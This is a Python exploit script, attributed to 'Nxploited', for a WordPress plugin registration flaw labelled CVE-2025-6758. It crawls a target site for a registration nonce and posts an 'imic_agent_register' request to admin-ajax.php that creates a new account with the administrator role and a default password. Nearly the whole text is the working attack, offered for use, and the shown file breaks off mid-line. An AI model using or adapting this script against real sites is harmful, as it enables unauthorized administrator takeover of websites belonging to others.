#!/usr/bin/env python3 #By Nxploited | Khaled ALenazi import argparse import json import logging import random import re import time from html import unescape from typing import Optional, Set, List, Tuple from urllib.parse import urljoin, urlparse import requests from bs4 import BeautifulSoup DEFAULT_USERNAME = "Nxploited" DEFAULT_PASSWORD = "123456789" DEFAULT_EMAIL = "NxploitBot@gmail.com" DEFAULT_POSITION = "Nxploitedadmin" DEFAULT_ROLE = "administrator" NONCE_REGEX = r'registration_nonce"\s*:\s*"([^"]+)' logger = logging.getLogger("wp_reg_helper") handler = logging.StreamHandler() formatter = logging.Formatter("[%(levelname)s] %(message)s") handler.setFormatter(formatter) logger.addHandler(handler) logger.setLevel(logging.INFO) def Nxploited_short_delay(min_s: float = 0.4, max_s: float = 1.0) -> None: time.sleep(random.uniform(min_s, max_s)) def Nxploited_extract_nonce_bs4(html: str) -> Optional[str]: soup = BeautifulSoup(html, "html.parser") for s in soup.find_all("script"): if s.string and "registration_nonce" in s.string: m = re.search(NONCE_REGEX, s.string) if m: return m.group(1) candidate = soup.find(attrs={"data-registration-nonce": True}) if candidate: return candidate["data-registration-nonce"] hidden = soup.find("input", {"name": "registration_nonce", "type": "hidden"}) if hidden and hidden.get("value"): return hidden["value"] return None def Nxploited_extract_nonce_regex(html: str) -> Optional[str]: m = re.search(NONCE_REGEX, html) if m: return m.group(1) return None def Nxploited_find_nonces_in_js(js_text: str) -> List[str]: return re.findall(NONCE_REGEX, js_text) def Nxploited_fetch_page(session: requests.Session, url: str, headers: dict, verify: bool = False) -> Optional[str]: try: resp = session.get(url, headers=headers, timeout=15, verify=verify) resp.raise_for_status() return resp.text except requests.RequestException as e: logger.debug("Fetch failed %s : %s", url, e) return None def Nxploited_collect_links(base_url: str, html: str) -> Set[str]: soup = BeautifulSoup(html, "html.parser") base_parsed = urlparse(base_url) base_netloc = base_parsed.netloc links: Set[str] = set() for a in soup.find_all("a", href=True): href = a["href"].strip() if href.startswith("mailto:") or href.startswith("tel:"): continue full = urljoin(base_url, href) parsed = urlparse(full) if parsed.netloc == base_netloc: links.add(full.split("#")[0]) for s in soup.find_all("script", src=True): src = s["src"].strip() full = urljoin(base_url, src) links.add(full) return links def Nxploited_scan_links_for_nonce(session: requests.Session, start_url: str, headers: dict, max_pages: int = 25, max_depth: int = 2, verify: bool = False) -> List[Tuple[str, str]]: found: List[Tuple[str, str]] = [] seen: Set[str] = set() to_visit: List[Tuple[str, int]] = [(start_url, 0)] while to_visit and len(seen) < max_pages: url, depth = to_visit.pop(0) if url in seen: continue seen.add(url) Nxploited_short_delay() html = Nxploited_fetch_page(session, url, headers, verify=verify) if not html: continue nonce = Nxploited_extract_nonce_bs4(html) or Nxploited_extract_nonce_regex(html) if nonce: found.append((url, nonce)) if depth < max_depth: links = Nxploited_collect_links(url, html) for l in sorted(links): if l not in seen: to_visit.append((l, depth + 1)) return found def Nxploited_search_common_paths_for_nonce(session: requests.Session, base_url: str, headers: dict, verify: bool = False) -> List[Tuple[str, str]]: candidates = [ "register", "Register", "register/", "Register/", "wp-register.php", "wp-login.php?action=register", "wp-content/plugins/", "wp-content/themes/", "wp-register.php", "?page_id=1476", "wp-login.php", ] found: List[Tuple[str, str]] = [] for p in candidates: try_url = urljoin(base_url, p) Nxploited_short_delay() html = Nxploited_fetch_page(session, try_url, headers, verify=verify) if not html: continue nonce = Nxploited_extract_nonce_bs4(html) or Nxploited_extract_nonce_regex(html) if nonce: found.append((try_url, nonce)) else: soup = BeautifulSoup(html, "html.parser") for s in soup.find_all("script", src=True): src = urljoin(try_url, s["src"]) Nxploited_short_delay() js = Nxploited_fetch_page(session, src, headers, verify=verify) if js: nonces = Nxploited_find_nonces_in_js(js) for n in nonces: found.append((src, n)) return found def Nxploited_build_payload(nonce: str, username: str, password: str, email: str, position: str, role: str) -> dict: return { "action": "imic_agent_register", "reg_nonce": nonce, "task": "register", "role": role, "username": username, "position": position, "email": email, "pwd1": password, "pwd2": password, } def Nxploited_perform_registration(session: requests.Session, ajax_url: str, headers: dict, payload: dict, verify: bool = False) -> Optional[str]: try: resp = session.post(ajax_url, headers=headers, data=payload, timeout=20, verify=verify) resp.raise_for_status() return resp.text except requests.RequestException as e: logger.error("POST failed: %s", e) return None def Nxploited_build_report(results: List[Tuple[str, str]]) -> dict: report = {"total": len(results), "details": []} seen_values: Set[str] = set() for src, nonce in results: unique = nonce not in seen_values seen_values.add(nonce) report["details"].append({"source": src, "nonce": nonce, "unique": unique}) return report def Nxploited(): parser = argparse.ArgumentParser(description="Exploit For CVE-2025-6758 | By: Nxploited ( Khaled Alenazi )", formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument("-u", "--url", required=True, help="Base URL to start scanning (registration page expected at this base URL)") parser.add_argument("--username", default=DEFAULT_USERNAME, help="Username to register") parser.add_argument("--password", default=DEFAULT_PASSWORD, help="Password to register") parser.add_argument("--email", default=DEFAULT_EMAIL, help="Email to register") parser.add_argument("--position", default=DEFAULT_POSITION, help="Position value") parser.add_argument("--role", default=DEFAULT_ROLE, help="Role value") parser.add_argument("--max-pages", type=int, default=30, help="Maximum pages to visit when crawling") parser.add_argument("--max-depth", type=int, default=2, help="Maximum crawl depth for link traversal") parser.add_argument("--scan-common-paths", action="store_true", help="Scan common register/plugin/theme paths for nonce") parser.add_argument("--ajax-path", default="wp-admin/admin-ajax.php", help="AJAX endpoint path") parser.add_argument("--verify-ssl", action="store_true", help="Verify SSL certificates for requests") parser.add_argument("--cookie-save", default="", help="Optional path to save session cookies (pickle).") parser.add_argument("--debug", action="store_true", help="Enable debug logging and show HTML/js snippets") parser.add_argument("--save-json", default="", help="Optional path to save results as JSON") args = parser.parse_args() if args.debug: logger.setLevel(logging.DEBUG) session = requests.Session() base_url = args.url if args.url.endswith("/") else args.url + "/" headers = { "User-Agent": "Mozilla/5.0 (X11; Kali Linux) Python/3.x helper", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", } results: List[Tuple[str, str]] = [] start_html = Nxploited_fetch_page(session, base_url, headers, verify=args.verify_ssl) if start_html: nonce = Nxploited_extract_nonce_bs4(start_html) or Nxploited_extract_nonce_regex(start_html) if nonce: results.append((base_url, nonce)) if not results: page_id_url = urljoin(base_url, "?page_id=1476") logger.debug("Auto-trying page_id path: %s", page_id_url) Nxploited_short_delay() html = Nxploited_fetch_page(session, page_id_url, headers, verify=args.verify_ssl) if html: if args.debug: print("\n--- HTML snippet from ?page_id=1476 (first 800 chars) ---") print(html[:800]) print("--- end snippet ---\n") nonce = Nxploited_extract_nonce_bs4(html) or Nxploited_extract_nonce_regex(html) if nonce: results.append((page_id_url, nonce)) if not results: res_links = Nxploited_scan_links_for_nonce(session, base_url, headers, max_pages=args.max_pages, max_depth=args.max_depth, verify=args.verify_ssl) results.extend(res_links) if args.scan_common_paths and not results: res_common = Nxploited_search_common_paths_for_nonce(session, base_url, headers, verify=args.verify_ssl) results.extend(res_common) if not results: logger.error("No registration_nonce values found. Provide a specific registration URL or increase scan options.") logger.info("Tip: try --scan-common-paths or --debug to print HTML snippets for inspection.") return report = Nxploited_build_report(results) logger.info("Nonces found: %d", report["total"]) nonce_source, nonce_value = report["details"][0]["source"], report["details"][0]["nonce"] payload = Nxploited_build_payload(nonce_value, args.username, args.password, args.email, args.position, args.role) ajax_url = urljoin(base_url, args.ajax_path) headers["Referer"] = ajax_url.replace("wp-admin/admin-ajax.php", "register/") Nxploited_short_delay(0.6, 1.2) resp_html = Nxploited_perform_registration(session, ajax_url, headers, payload, verify=args.verify_ssl) if resp_html is None: logger.error("No response or POST failure.") return server_msg = None server_msg = Nxploited_find_nonces_in_js(resp_html) # fallback search (not typical) text_msg = None try: text_msg = re.search(r'